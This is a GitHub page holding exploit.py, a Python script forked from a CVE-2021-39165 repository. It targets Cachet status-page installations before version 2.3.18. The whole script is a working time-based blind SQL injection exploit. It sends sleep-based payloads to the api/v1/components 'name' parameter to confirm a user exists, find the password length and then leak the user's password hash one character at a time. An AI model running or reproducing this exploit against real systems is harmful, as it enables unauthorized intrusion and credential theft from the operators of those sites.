forked from W0rty/CVE-2021-39165
-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploit.py
106 lines (94 loc) · 4.04 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name : exploit.py
# Author : Worty (@_Worty)
# Date created : 16 Mar 2022
import requests
import time
import argparse
import validators
import sys
class PerformSQLi(object):
def __init__(self, url, user, time):
self.url = url + "api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]="
self.time = int(time)
self.pwd_length = 0
self.password = ''
self.user = user
def check_user_exist(self):
payload = f"or+'a'='a') and (select case when substring(username from 1 for 1)='{self.user[0]}' then sleep({self.time}) else true end from users where username='{self.user}') --"
start = int(time.time())
requests.get(self.url + payload)
if int(time.time()) - start >= self.time:
print(f"[+] User {self.user} exist !")
return True
else:
print(f"[-] User {self.user} doesn't exist")
return False
def test_vulnerable(self):
payload = f"or+'a'='a') and (select sleep(5))--"
start = int(time.time())
requests.get(self.url + payload)
if int(time.time()) - start >= 5:
print("[+] Target is vulnerable !")
return True
else:
print("[-] Target is not vulnerable !")
return False
def get_pwd_length(self):
running = True
while running:
payload = f"or+'a'='a') and (select case when length(password)={self.pwd_length} then sleep({self.time}) else true end from users where username='{self.user}') --"
start = int(time.time())
requests.get(self.url + payload)
if int(time.time()) - start >= self.time:
print(f"[+] Found password length: {self.pwd_length}")
running = False
else:
self.pwd_length += 1
def get_hash_pwd(self):
char = 32
tmp_length = 1
print(f"[+] Leaking {self.user} password: ", end='')
sys.stdout.flush()
running = True
while running:
payload = f"or+'a'='a') and (select case when binary(substring(password from {tmp_length} for 1))=binary('{chr(char)}') then sleep({self.time}) else true end from users where username='{self.user}') --"
start = int(time.time())
requests.get(self.url + payload).json()
if int(time.time()) - start >= self.time:
if tmp_length != self.pwd_length:
self.password += chr(char)
print(chr(char), end='')
sys.stdout.flush()
tmp_length += 1
char = 32
else:
self.password += chr(char)
print(chr(char), end='')
sys.stdout.flush()
running = False
else:
char += 1
print(f"\n[+] {self.user}:{self.password} !")
def run(self):
if self.test_vulnerable():
if self.check_user_exist():
print("[+] Running exploit")
self.get_pwd_length()
self.get_hash_pwd()
return
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='This script is used to exploit SQL injection on GET parameter name of Cachet version prior to 2.3.18 and 2.4.0-dev')
parser.add_argument('-U', '--user', help='User wanted password (default admin)', default='admin')
parser.add_argument('-t', '--time', help='Time to sleep if query is true (default 2)', type=int, default=2)
requiredNamed = parser.add_argument_group('required named arguments')
parser.add_argument('-u', '--url', help='Url to exploit', required=True)
parsed_args = parser.parse_args()
if validators.url(parsed_args.url):
if not parsed_args.url.endswith("/"):
parsed_args.url += "/"
exploit = PerformSQLi(url=parsed_args.url, user=parsed_args.user, time=parsed_args.time)
exploit.run()
else:
print("[-] Invalid url provided")